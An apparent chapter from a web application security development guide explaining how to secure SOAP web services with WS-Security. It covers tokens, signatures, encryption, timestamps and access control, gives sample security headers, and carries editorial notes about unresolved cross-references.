[[Guide Table of Contents|Development Guide Table of Contents]]
__TOC__
[[Category:FIXME|This article has a lot of what I think are placeholders for references. It says "see section 0" and I think those are intended to be replaced with actual sections. I have noted them where I have found them. Need to figure out what those intended to reference, and change the reference]]
This section of the Development Guide details the common issues facing Web services developers, and methods to address common issues. Due to the space limitations, it cannot look at all of the surrounding issues in great detail, since each of them deserves a separate book of its own. Instead, an attempt is made to steer the reader to the appropriate usage patterns, and warn about potential roadblocks on the way.

Web Services have received a lot of press, and with that comes a great deal of confusion over what they really are. Some are heralding Web Services as the biggest technology breakthrough since the web itself; others are more skeptical that they are nothing more than evolved web applications. In either case, the issues of web application security apply to web services just as they do to web applications.

==What are Web Services?==

Suppose you were making an application that you wanted other applications to be able to communicate with. For example, your Java application has stock information updated every 5 minutes and you would like other applications, ones that may not even exist yet, to be able to use the data.

One way you can do this is to serialize your Java objects and send them over the wire to the application that requests them. The problem with this approach is that a C# application would not be able to use these objects because it serializes and deserializes objects differently than Java.

Another approach you could take is to send a text file filled with data to the application that requests it. This is better because a C# application could read the data. But this has another flaw: Lets assume your stock application is not the only one the C# application needs to interact with. Maybe it needs weather data, local restaurant data, movie data, etc. If every one of these applications uses its own unique file format, it would take considerable research to get the C# application to a working state.

The solution to both of these problems is to send a standard file format. A format that any application can use, regardless of the data being transported. Web Services are this solution. They let any application communicate with any other application without having to consider the language it was developed in or the format of the data.

At the simplest level, web services can be seen as a specialized web application that differs mainly at the presentation tier level. While web applications typically are HTML-based, web services are XML-based. Interactive users for B2C (business to consumer) transactions normally access web applications, while web services are employed as building blocks by other web applications for forming B2B (business to business) chains using the so-called SOA model. Web services typically present a public functional interface, callable in a programmatic fashion, while web applications tend to deal with a richer set of features and are content-driven in most cases.

==Securing Web Services ==

Web services, like other distributed applications, require protection at multiple levels:

* SOAP messages that are sent on the wire should be delivered confidentially and without tampering

* The server needs to be confident who it is talking to and what the clients are entitled to

* The clients need to know that they are talking to the right server, and not a phishing site (see the Phishing chapter for more information)

* System message logs should contain sufficient information to reliably reconstruct the chain of events and track those back to the authenticated callers

Correspondingly, the high-level approaches to solutions, discussed in the following sections, are valid for pretty much any distributed application, with some variations in the implementation details.

The good news for Web Services developers is that these are infrastructure-level tasks, so, theoretically, it is only the system administrators who should be worrying about these issues. However, for a number of reasons discussed later in this chapter, WS developers usually have to be at least aware of all these risks, and oftentimes they still have to resort to manually coding or tweaking the protection components.

==Communication security ==

There is a commonly cited statement, and even more often implemented approach – “we are using SSL to protect all communication, we are secure”. At the same time, there have been so many articles published on the topic of “channel security vs. token security” that it hardly makes sense to repeat those arguments here. Therefore, listed below is just a brief rundown of most common pitfalls when using channel security alone:

* It provides only “point-to-point” security

Any communication with multiple “hops” requires establishing separate channels (and trusts) between each communicating node along the way. There is also a subtle issue of trust transitivity, as trusts between node pairs {A,B} and {B,C} do not automatically imply {A,C} trust relationship.

* Storage issue

After messages are received on the server (even if it is not the intended recipient), they exist in the clear-text form, at least – temporarily. Storing the transmitted information at the intermediate aggravates the problem or destination servers in log files (where it can be browsed by anybody) and local caches.

* Lack of interoperability

While SSL provides a standard mechanism for transport protection, applications then have to utilize highly proprietary mechanisms for transmitting credentials, ensuring freshness, integrity, and confidentiality of data sent over the secure channel. Using a different server, which is semantically equivalent, but accepts a different format of the same credentials, would require altering the client and prevent forming automatic B2B service chains.

Standards-based token protection in many cases provides a superior alternative for message-oriented Web Service SOAP communication model.

That said – the reality is that the most Web Services today are still protected by some form of channel security mechanism, which alone might suffice for a simple internal application. However, one should clearly realize the limitations of such approach, and make conscious trade-offs at the design time, whether channel, token, or combined protection would work better for each specific case.

==Passing credentials ==

In order to enable credentials exchange and authentication for Web Services, their developers must address the following issues.

First, since SOAP messages are XML-based, all passed credentials have to be converted to text format. This is not a problem for username/password types of credentials, but binary ones (like X.509 certificates or Kerberos tokens) require converting them into text prior to sending and unambiguously restoring them upon receiving, which is usually done via a procedure called Base64 encoding and decoding.

Second, passing credentials carries an inherited risk of their disclosure – either by sniffing them during the wire transmission, or by analyzing the server logs. Therefore, things like passwords and private keys need to be either encrypted, or just never sent “in the clear”. Usual ways to avoid sending sensitive credentials are using cryptographic hashing and/or signatures.

==Ensuring message freshness ==

Even a valid message may present a danger if it is utilized in a “replay attack” – i.e. it is sent multiple times to the server to make it repeat the requested operation. This may be achieved by capturing an entire message, even if it is sufficiently protected against tampering, since it is the message itself that is used for attack now (see the XML Injection section of the Interpreter Injection chapter).

Usual means to protect against replayed messages is either using unique identifiers (nonces) on messages and keeping track of processed ones, or using a relatively short validity time window. In the Web Services world, information about the message creation time is usually communicated by inserting timestamps, which may just tell the instant the message was created, or have additional information, like its expiration time, or certain conditions.

The latter solution, although easier to implement, requires clock synchronization and is sensitive to “server time skew,” whereas server or clients' clocks drift too much, preventing timely message delivery, although this usually does not present significant problems with modern-day computers. A greater issue lies with message queuing at the servers, where messages may be expiring while waiting to be processed in the queue of an especially busy or non-responsive server.

==Protecting message integrity ==

When a message is received by a web service, it must always ask two questions: “whether I trust the caller,” “whether it created this message.” Assuming that the caller trust has been established one way or another, the server has to be assured that the message it is looking at was indeed issued by the caller, and not altered along the way (intentionally or not). This may affect technical qualities of a SOAP message, such as the message’s timestamp, or business content, such as the amount to be withdrawn from the bank account. Obviously, neither change should go undetected by the server.

In communication protocols, there are usually some mechanisms like checksum applied to ensure packet’s integrity. This would not be sufficient, however, in the realm of publicly exposed Web Services, since checksums (or digests, their cryptographic equivalents) are easily replaceable and cannot be reliably tracked back to the issuer. The required association may be established by utilizing HMAC, or by combining message digests with either cryptographic signatures or with secret key-encryption (assuming the keys are only known to the two communicating parties) to ensure that any change will immediately result in a cryptographic error.

==Protecting message confidentiality ==

Oftentimes, it is not sufficient to ensure the integrity – in many cases it is also desirable that nobody can see the data that is passed around and/or stored locally. It may apply to the entire message being processed, or only to certain parts of it – in either case, some type of encryption is required to conceal the content. Normally, symmetric encryption algorithms are used to encrypt bulk data, since it is significantly faster than the asymmetric ones. Asymmetric encryption is then applied to protect the symmetric session keys, which, in many implementations, are valid for one communication only and are subsequently discarded.

Applying encryption requires conducting an extensive setup work, since the communicating parties now have to be aware of which keys they can trust, deal with certificate and key validation, and know which keys should be used for communication.

In many cases, encryption is combined with signatures to provide both integrity and confidentiality. Normally, signing keys are different from the encrypting ones, primarily because of their different lifecycles – signing keys are permanently associated with their owners, while encryption keys may be invalidated after the message exchange. Another reason may be separation of business responsibilities - the signing authority (and the corresponding key) may belong to one department or person, while encryption keys are generated by the server controlled by members of IT department.

==Access control ==

After the message has been received and successfully validated, the server must decide:

* Does it know who is requesting the operation (Identification)

* Does it trust the caller’s identity claim (Authentication)

* Does it allow the caller to perform this operation (Authorization)

There is not much WS-specific activity that takes place at this stage – just several new ways of passing the credentials for authentication. Most often, authorization (or entitlement) tasks occur completely outside of the Web Service implementation, at the Policy Server that protects the whole domain.

There is another significant problem here – the traditional HTTP firewalls do not help at stopping attacks at the Web Services. An organization would need an XML/SOAP firewall, which is capable of conducting application-level analysis of the web server’s traffic and make intelligent decision about passing SOAP messages to their destination. The reader would need to refer to other books and publications on this very important topic, as it is impossible to cover it within just one chapter.

==Audit ==

A common task, typically required from the audits, is reconstructing the chain of events that led to a certain problem. Normally, this would be achieved by saving server logs in a secure location, available only to the IT administrators and system auditors, in order to create what is commonly referred to as “audit trail”. Web Services are no exception to this practice, and follow the general approach of other types of Web Applications.

Another auditing goal is non-repudiation, meaning that a message can be verifiably traced back to the caller. Following the standard legal practice, electronic documents now require some form of an “electronic signature”, but its definition is extremely broad and can mean practically anything – in many cases, entering your name and birthday qualifies as an e-signature.

As far as the WS are concerned, such level of protection would be insufficient and easily forgeable. The standard practice is to require cryptographic digital signatures over any content that has to be legally binding – if a document with such a signature is saved in the audit log, it can be reliably traced to the owner of the signing key.

==Web Services Security Hierarchy ==

Technically speaking, Web Services themselves are very simple and versatile – XML-based communication, described by an XML-based grammar, called Web Services Description Language (WSDL, see http://www.w3.org/TR/2005/WD-wsdl20-20050510), which binds abstract service interfaces, consisting of messages, expressed as XML Schema, and operations, to the underlying wire format. Although it is by no means a requirement, the format of choice is currently SOAP over HTTP. This means that Web Service interfaces are described in terms of the incoming and outgoing SOAP messages, transmitted over HTTP protocol.

===Standards committees ===

Before reviewing the individual standards, it is worth taking a brief look at the organizations which are developing and promoting them. There are quite a few industry-wide groups and consortiums working in this area, most important of which are listed below.

W3C (see http://www.w3.org) is the most well known industry group, which owns many Web-related standards and develops them in Working Group format. Of particular interest to this chapter are XML Schema, SOAP, XML-dsig, XML-enc, and WSDL standards (called recommendations in the W3C’s jargon).

OASIS (see http://www.oasis-open.org) mostly deals with Web Service-specific standards, not necessarily security-related. It also operates on a committee basis, forming so-called Technical Committees (TC) for the standards that it is going to be developing. Of interest for this discussion, OASIS owns WS-Security and SAML standards.

Web Services Interoperability Organization (WS-I, see http://www.ws-i.org/) was formed to promote a general framework for interoperable Web Services. Mostly its work consists of taking other broadly accepted standards, and developing so-called profiles, or sets of requirements for conforming Web Service implementations. In particular, its Basic Security Profile (BSP) relies on the OASIS’ WS-Security standard and specifies sets of optional and required security features in Web Services that claim interoperability.

Liberty Alliance (LA, see http://projectliberty.org) consortium was formed to develop and promote an interoperable Identity Federation framework. Although this framework is not strictly Web Service-specific, but rather general, it is important for this topic because of its close relation with the SAML standard developed by OASIS.

Besides the previously listed organizations, there are other industry associations, both permanently established and short-lived, which push forward various Web Service security activities. They are usually made up of software industry’s leading companies, such as Microsoft, IBM, Verisign, BEA, Sun, and others, that join them to work on a particular issue or proposal. Results of these joint activities, once they reach certain maturity, are often submitted to standardizations committees as a basis for new industry standards.

==SOAP ==

Simple Object Access Protocol (SOAP, see http://www.w3.org/TR/2003/REC-soap12-part1-20030624/) provides an XML-based framework for exchanging structured and typed information between peer services. This information, formatted into Header and Body, can theoretically be transmitted over a number of transport protocols, but only HTTP binding has been formally defined and is in active use today. SOAP provides for Remote Procedure Call-style (RPC) interactions, similar to remote function calls, and Document-style communication, with message contents based exclusively on XML Schema definitions in the Web Service’s WSDL. Invocation results may be optionally returned in the response message, or a Fault may be raised, which is roughly equivalent to using exceptions in traditional programming languages.

SOAP protocol, while defining the communication framework, provides no help in terms of securing message exchanges – the communications must either happen over secure channels, or use protection mechanisms described later in this chapter.

===XML security specifications (XML-dsig & Encryption) ===

XML Signature (XML-dsig, see http://www.w3.org/TR/2002/REC-xmldsig-core-20020212/), and XML Encryption (XML-enc, see http://www.w3.org/TR/2002/REC-xmlenc-core-20021210/) add cryptographic protection to plain XML documents. These specifications add integrity, message and signer authentication, as well as support for encryption/decryption of whole XML documents or only of some elements inside them.

The real value of those standards comes from the highly flexible framework developed to reference the data being processed (both internal and external relative to the XML document), refer to the secret keys and key pairs, and to represent results of signing/encrypting operations as XML, which is added to/substituted in the original document.

However, by themselves, XML-dsig and XML-enc do not solve the problem of securing SOAP-based Web Service interactions, since the client and service first have to agree on the order of those operations, where to look for the signature, how to retrieve cryptographic tokens, which message elements should be signed and encrypted, how long a message is considered to be valid, and so on. These issues are addressed by the higher-level specifications, reviewed in the following sections.

===Security specifications ===

In addition to the above standards, there is a broad set of security-related specifications being currently developed for various aspects of Web Service operations.

One of them is SAML, which defines how identity, attribute, and authorization assertions should be exchanged among participating services in a secure and interoperable way.

A broad consortium, headed by Microsoft and IBM, with the input from Verisign, RSA Security, and other participants, developed a family of specifications, collectively known as “Web Services Roadmap”. Its foundation, WS-Security, has been submitted to OASIS and became an OASIS standard in 2004. Other important specifications from this family are still found in different development stages, and plans for their submission have not yet been announced, although they cover such important issues as security policies (WS-Policy et al), trust issues and security token exchange (WS-Trust), establishing context for secure conversation (WS-SecureConversation). One of the specifications in this family, WS-Federation, directly competes with the work being done by the LA consortium, and, although it is supposed to be incorporated into the Longhorn release of Windows, its future is not clear at the moment, since it has been significantly delayed and presently does not have industry momentum behind it.

==WS-Security Standard ==

WS-Security specification (WSS) was originally developed by Microsoft, IBM, and Verisign as part of a “Roadmap”, which was later renamed to Web Services Architecture, or WSA. WSS served as the foundation for all other specifications in this domain, creating a basic infrastructure for developing message-based security exchange. Because of its importance for establishing interoperable Web Services, it was submitted to OASIS and, after undergoing the required committee process, became an officially accepted standard. Current version is 1.0, and the work on the version 1.1 of the specification is under way and is expected to be finishing in the second half of 2005.
[[category:FIXME | outdated info? is it complete now?]]

===Organization of the standard ===

The WSS standard itself deals with several core security areas, leaving many details to so-called profile documents. The core areas, broadly defined by the standard, are:

* Ways to add security headers (WSSE Header) to SOAP Envelopes

* Attachment of security tokens and credentials to the message

* Inserting a timestamp

* Signing the message

* Encrypting the message

* Extensibility

Flexibility of the WS-Security standard lies in its extensibility, so that it remains adaptable to new types of security tokens and protocols that are being developed. This flexibility is achieved by defining additional profiles for inserting new types of security tokens into the WSS framework. While the signing and encrypting parts of the standards are not expected to require significant changes (only when the underlying XML-dsig and XML-enc are updated), the types of tokens, passed in WSS messages, and ways of attaching them to the message may vary substantially. At the high level the WSS standard defines three types of security tokens, attachable to a WSS Header: Username/password, Binary, and XML tokens. Each of those types is further specified in one (or more) profile document, which defines additional tokens' attributes and elements, needed to represent a particular type of security token.

[[Image:WSS_Specification_Hierarchy.gif|Figure 4: WSS specification hierarchy]]

===Purpose ===

The primary goal of the WSS standard is providing tools for message-level communication protection, whereas each message represents an isolated piece of information, carrying enough security data to verify all important message properties, such as: authenticity, integrity, freshness, and to initiate decryption of any encrypted message parts. This concept is a stark contrast to the traditional channel security, which methodically applies pre-negotiated security context to the whole stream, as opposed to the selective process of securing individual messages in WSS. In the Roadmap, that type of service is eventually expected to be provided by implementations of standards like WS-SecureConversation.

From the beginning, the WSS standard was conceived as a message-level toolkit for securely delivering data for higher level protocols. Those protocols, based on the standards like WS-Policy, WS-Trust, and Liberty Alliance, rely on the transmitted tokens to implement access control policies, token exchange, and other types of protection and integration. However, taken alone, the WSS standard does not mandate any specific security properties, and an ad-hoc application of its constructs can lead to subtle security vulnerabilities and hard to detect problems, as is also discussed in later sections of this chapter.

==WS-Security Building Blocks ==

The WSS standard actually consists of a number of documents – one core document, which defines how security headers may be included into SOAP envelope and describes all high-level blocks, which must be present in a valid security header. Profile documents have the dual task of extending definitions for the token types they are dealing with, providing additional attributes, elements, as well as defining relationships left out of the core specification, such as using attachments.

Core WSS 1.1 specification, located at http://www.oasis-open.org/committees/download.php/16790/wss-v1.1-spec-os-SOAPMessageSecurity.pdf, defines several types of security tokens (discussed later in this section – see 0), ways to reference them, timestamps, and ways to apply XML-dsig and XML-enc in the security headers – see the XML Dsig section for more details about their general structure.

Associated specifications are:

* Username token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16782/wss-v1.1-spec-os-UsernameTokenProfile.pdf, which adds various password-related extensions to the basic UsernameToken from the core specification

* X.509 token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16785/wss-v1.1-spec-os-x509TokenProfile.pdf which specifies, how X.509 certificates may be passed in the BinarySecurityToken, specified by the core document

* SAML Token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16768/wss-v1.1-spec-os-SAMLTokenProfile.pdf that specifies how XML-based SAML tokens can be inserted into WSS headers.

* Kerberos Token Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16788/wss-v1.1-spec-os-KerberosTokenProfile.pdf that defines how to encode Kerberos tickets and attach them to SOAP messages.

* Rights Expression Language (REL) Token Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16687/oasis-wss-rel-token-profile-1.1.pdf that describes the use of ISO/IEC 21000-5 Rights Expressions with respect to the WS-Security specification.

* SOAP with Attachments (SWA) Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16672/wss-v1.1-spec-os-SwAProfile.pdf that describes how to use WSS-Sec with SOAP Messages with Attachments.

===How data is passed ===

WSS security specification deals with two distinct types of data: security information, which includes security tokens, signatures, digests, etc; and message data, i.e. everything else that is passed in the SOAP message. Being an XML-based standard, WSS works with textual information grouped into XML elements. Any binary data, such as cryptographic signatures or Kerberos tokens, has to go through a special transform, called Base64 encoding/decoding, which provides straightforward conversion from binary to ASCII formats and back. The example below demonstrates how binary data looks like in the encoded format:

''cCBDQTAeFw0wNDA1MTIxNjIzMDRaFw0wNTA1MTIxNjIzMDRaMG8xCz''

After encoding a binary element, an attribute with the algorithm’s identifier is added to the XML element carrying the data, so that the receiver would know to apply the correct decoder to read it. These identifiers are defined in the WSS specification documents.

===Security header’s structure ===

A security header in a message is used as a sort of an envelope around a letter – it seals and protects the letter, but does not care about its content. This “indifference” works in the other direction as well, as the letter (SOAP message) should not know, nor should it care about its envelope (WSS Header), since the different units of information, carried on the envelope and in the letter, are presumably targeted at different people or applications.

A SOAP Header may actually contain multiple security headers, as long as they are addressed to different actors (for SOAP 1.1), or roles (for SOAP 1.2). Their contents may also be referring to each other, but such references present a very complicated logistical problem for determining the proper order of decryptions/signature verifications, and should generally be avoided. WSS security header itself has a loose structure, as the specification itself does not require any elements to be present – so, the minimalist header with an empty message will look like:

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" soap:mustUnderstand="1">

</wsse:Security>
</soap:Header>
<soap:Body>

</soap:Body>
</soap:Envelope>

However, to be useful, it must carry some information, which is going to help securing the message. It means including one or more security tokens (see 0) with references, XML Signature, and XML Encryption elements, if the message is signed and/or encrypted. So, a typical header will look more like the following picture:

''<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">''

'' <soap:Header>''

'' <wsse:Security xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" soap:mustUnderstand="1">''

'' <wsse:BinarySecurityToken EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" wsu:Id="aXhOJ5">MIICtzCCAi... ''

'' </wsse:BinarySecurityToken>''

'' <xenc:EncryptedKey xmlns:xenc="http://www.w3.org/2001/04/xmlenc#">''

'' <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-1_5"/>''

'' <dsig:KeyInfo xmlns:dsig="http://www.w3.org/2000/09/xmldsig#">''

'' <wsse:SecurityTokenReference>''

'' <wsse:Reference URI="#aXhOJ5" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"/>''

'' </wsse:SecurityTokenReference> ''

'' </dsig:KeyInfo>''

'' <xenc:CipherData>''

'' <xenc:CipherValue>Nb0Mf...</xenc:CipherValue>''

'' </xenc:CipherData>''

'' <xenc:ReferenceList>''

'' <xenc:DataReference URI="#aDNa2iD"/>''

'' </xenc:ReferenceList>''

'' </xenc:EncryptedKey>''

'' <wsse:SecurityTokenReference wsu:Id="aZG0sG">''

'' <wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID" wsu:Id="a2tv1Uz"> 1106844369755</wsse:KeyIdentifier>''

'' </wsse:SecurityTokenReference>''

'' <saml:Assertion AssertionID="1106844369755" IssueInstant="2005-01-27T16:46:09.755Z" Issuer="www.my.com" MajorVersion="1" MinorVersion="1" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion">''

'' ... ''

'' </saml:Assertion>''

'' <wsu:Timestamp wsu:Id="afc6fbe-a7d8-fbf3-9ac4-f884f435a9c1">''

'' <wsu:Created>2005-01-27T16:46:10Z</wsu:Created>''

'' <wsu:Expires>2005-01-27T18:46:10Z</wsu:Expires>''

'' </wsu:Timestamp>''

'' <dsig:Signature xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" Id="sb738c7">''

'' <dsig:SignedInfo Id="obLkHzaCOrAW4kxC9az0bLA22">''

'' ...''

'' <dsig:Reference URI="#s91397860">''

'' ... ''

'' <dsig:DigestValue>5R3GSp+OOn17lSdE0knq4GXqgYM=</dsig:DigestValue>''

'' </dsig:Reference>''

'' </dsig:SignedInfo>''

'' <dsig:SignatureValue Id="a9utKU9UZk">LIkagbCr5bkXLs8l...</dsig:SignatureValue>''

'' <dsig:KeyInfo>''

'' <wsse:SecurityTokenReference>''

'' <wsse:Reference URI="#aXhOJ5" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"/>''

'' </wsse:SecurityTokenReference>''

'' </dsig:KeyInfo>''

'' </dsig:Signature>''

'' </wsse:Security>''

'' </soap:Header>''

'' <soap:Body xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" wsu:Id="s91397860">''

'' <xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#" Id="aDNa2iD" Type="http://www.w3.org/2001/04/xmlenc#Content">''

'' <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"/>''

'' <xenc:CipherData>''

'' <xenc:CipherValue>XFM4J6C...</xenc:CipherValue>''

'' </xenc:CipherData>''

'' </xenc:EncryptedData>''

'' </soap:Body>''

''</soap:Envelope>''

===Types of tokens ===

A WSS Header may have the following types of security tokens in it:

* Username token

Defines mechanisms to pass username and, optionally, a password - the latter is described in the username profile document. Unless the whole token is encrypted, a message which includes a clear-text password should always be transmitted via a secured channel. In situations where the target Web Service has access to clear-text passwords for verification (this might not be possible with LDAP or some other user directories, which do not return clear-text passwords), using a hashed version with nonce and a timestamp is generally preferable. The profile document defines an unambiguous algorithm for producing password hash:

''Password_Digest = Base64 ( SHA-1 ( nonce + created + password ) )''

* Binary token

They are used to convey binary data, such as X.509 certificates, in a text-encoded format, Base64 by default. The core specification defines BinarySecurityToken element, while profile documents specify additional attributes and sub-elements to handle attachment of various tokens. Presently, both the X.509 and the Kerberos profiles have been adopted.

'' <wsse:BinarySecurityToken EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" wsu:Id="aXhOJ5">''

'' MIICtzCCAi...''

'' </wsse:BinarySecurityToken>''

* XML token

These are meant for any kind of XML-based tokens, but primarily – for SAML assertions. The core specification merely mentions the possibility of inserting such tokens, leaving all details to the profile documents. At the moment, SAML 1.1 profile has been accepted by OASIS.

'' <saml:Assertion AssertionID="1106844369755" IssueInstant="2005-01-27T16:46:09.755Z" Issuer="www.my.com" MajorVersion="1" MinorVersion="1" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion">''

'' ... ''

'' </saml:Assertion>''

Although technically it is not a security token, a Timestamp element may be inserted into a security header to ensure message’s freshness. See the further reading section for a design pattern on this.

===Referencing message parts ===

In order to retrieve security tokens, passed in the message, or to identify signed and encrypted message parts, the core specification adopts usage of a special attribute, wsu:Id. The only requirement on this attribute is that the values of such IDs should be unique within the scope of XML document where they are defined. Its application has a significant advantage for the intermediate processors, as it does not require understanding of the message’s XML Schema. Unfortunately, XML Signature and Encryption specifications do not allow for attribute extensibility (i.e. they have closed schema), so, when trying to locate signature or encryption elements, local IDs of the Signature and Encryption elements must be considered first.

WSS core specification also defines a general mechanism for referencing security tokens via SecurityTokenReference element. An example of such element, referring to a SAML assertion in the same header, is provided below:

'' <wsse:SecurityTokenReference wsu:Id="aZG0sGbRpXLySzgM1X6aSjg22">''

'' <wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID" wsu:Id="a2tv1Uz">''

'' 1106844369755''

'' </wsse:KeyIdentifier>''

'' </wsse:SecurityTokenReference>''

As this element was designed to refer to pretty much any possible token type (including encryption keys, certificates, SAML assertions, etc) both internal and external to the WSS Header, it is enormously complicated. The specification recommends using two of its possible four reference types – Direct References (by URI) and Key Identifiers (some kind of token identifier). Profile documents (SAML, X.509 for instance) provide additional extensions to these mechanisms to take advantage of specific qualities of different token types.

==Communication Protection Mechanisms ==

As was already explained earlier (see 0), channel security, while providing important services, is not a panacea, as it does not solve many of the issues facing Web Service developers. WSS helps addressing some of them at the SOAP message level, using the mechanisms described in the sections below.
[[Category:FIXME|Please check the reference (see 0)]]

===Integrity ===

WSS specification makes use of the XML-dsig standard to ensure message integrity, restricting its functionality in certain cases; for instance, only explicitly referenced elements can be signed (i.e. no Embedding or Embedded signature modes are allowed). Prior to signing an XML document, a transformation is required to create its canonical representation, taking into account the fact that XML documents can be represented in a number of semantically equivalent ways. There are two main transformations defined by the XML Digital Signature WG at W3C, Inclusive and Exclusive Canonicalization Transforms (C14N and EXC-C14N), which differ in the way namespace declarations are processed. The WSS core specification specifically recommends using EXC-C14N, as it allows copying signed XML content into other documents without invalidating the signature.

In order to provide a uniform way of addressing signed tokens, WSS adds a Security Token Reference (STR) Dereference Transform option, which is comparable with dereferencing a pointer to an object of specific data type in programming languages. Similarly, in addition to the XML Signature-defined ways of addressing signing keys, WSS allows for references to signing security tokens through the STR mechanism (explained in 0), extended by token profiles to accommodate specific token types. A typical signature example is shown in an earlier sample in the section 0.
[[Category:FIXME|Please check the reference (see 0)]]

Typically, an XML signature is applied to secure elements such as SOAP Body and the timestamp, as well as any user credentials, passed in the request. There is an interesting twist when a particular element is both signed and encrypted, since these operations may follow (even repeatedly) in any order, and knowledge of their ordering is required for signature verification. To address this issue, the WSS core specification requires that each new element is pre-pended to the security header, thus defining the “natural” order of operations. A particularly nasty problem arises when there are several security headers in a single SOAP message, using overlapping signature and encryption blocks, as there is nothing in this case that would point to the right order of operations.

===Confidentiality ===

For its confidentiality protection, WSS relies on yet another standard, XML Encryption. Similarly to XML-dsig, this standard operates on selected elements of the SOAP message, but it then replaces the encrypted element’s data with a <xenc:EncryptedData> sub-element carrying the encrypted bytes. For encryption efficiency, the specification recommends using a unique key, which is then encrypted by the recipient’s public key and pre-pended to the security header in a <xenc:EncryptedKey> element. A SOAP message with encrypted body is shown in the section 0.
[[Category:FIXME|Please check the reference (see 0)]]

===Freshness ===

SOAP messages’ freshness is addressed via timestamp mechanism – each security header may contain just one such element, which states, in UTC time and using the UTC time format, creation and expiration moments of the security header. It is important to realize that the timestamp is applied to the WSS Header, not to the SOAP message itself, since the latter may contain multiple security headers, each with a different timestamp. There is an unresolved problem with this “single timestampt” approach, since, once the timestamp is created and signed, it is impossible to update it without breaking existing signatures, even in case of a legitimate change in the WSS Header.

'' <wsu:Timestamp wsu:Id="afc6fbe-a7d8-fbf3-9ac4-f884f435a9c1">''

'' <wsu:Created>2005-01-27T16:46:10Z</wsu:Created>''

'' <wsu:Expires>2005-01-27T18:46:10Z</wsu:Expires>''

'' </wsu:Timestamp>''

If a timestamp is included in a message, it is typically signed to prevent tampering and replay attacks. There is no mechanism foreseen to address clock synchronization issue (which, as was already point out earlier, is generally not an issue in modern day systems) – this has to be addressed out-of-band as far as the WSS mechanics is concerned. See the further reading section for a design pattern addressing this issue.

==Access Control Mechanisms ==

When it comes to access control decisions, Web Services do not offer specific protection mechanisms by themselves – they just have the means to carry the tokens and data payloads in a secure manner between source and destination SOAP endpoints.

For more complete description of access control tasks, please, refer to other sections of this Development Guide.

===Identification ===

Identification represents a claim to have certain identity, which is expressed by attaching certain information to the message. This can be a username, an SAML assertion, a Kerberos ticket, or any other piece of information, from which the service can infer who the caller claims to be.

WSS represents a very good way to convey this information, as it defines an extensible mechanism for attaching various token types to a message (see 0). It is the receiver’s job to extract the attached token and figure out which identity it carries, or to reject the message if it can find no acceptable token in it.
[[Category:FIXME|Please check the reference (see 0)]]

===Authentication ===

Authentication can come in two flavors – credentials verification or token validation. The subtle difference between the two is that tokens are issued after some kind of authentication has already happened prior to the current invocation, and they usually contain user’s identity along with the proof of its integrity.

WSS offers support for a number of standard authentication protocols by defining binding mechanism for transmitting protocol-specific tokens and reliably linking them to the sender. However, the mechanics of proof that the caller is who he claims to be is completely at the Web Service’s discretion. Whether it takes the supplied username and password’s hash and checks it against the backend user store, or extracts subject name from the X.509 certificate used for signing the message, verifies the certificate chain and looks up the user in its store – at the moment, there are no requirements or standards which would dictate that it should be done one way or another.

===Authorization ===

XACML may be used for expressing authorization rules, but its usage is not Web Service-specific – it has much broader scope. So, whatever policy or role-based authorization mechanism the host server already has in place will most likely be utilized to protect the deployed Web Services deployed as well.

Depending on the implementation, there may be several layers of authorization involved at the server. For instance, JSRs 224 (JAX-RPC 2.0) and 109 (Implementing Enterprise Web Services), which define Java binding for Web Services, specify implementing Web Services in J2EE containers. This means that when a Web Service is accessed, there will be a URL authorization check executed by the J2EE container, followed by a check at the Web Service layer for the Web Service-specific resource. Granularity of such checks is implementation-specific and is not dictated by any standards. In the Windows universe it happens in a similar fashion, since IIS is going to execute its access checks on the incoming HTTP calls before they reach the ASP.NET runtime, where SOAP message is going to be further decomposed and analyzed.

===Policy Agreement ===

Normally, Web Services’ communication is based on the endpoint’s public interface, defined in its WSDL file. This descriptor has sufficient details to express SOAP binding requirements, but it does not define any security parameters, leaving Web Service developers struggling to find out-of-band mechanisms to determine the endpoint’s security requirements.

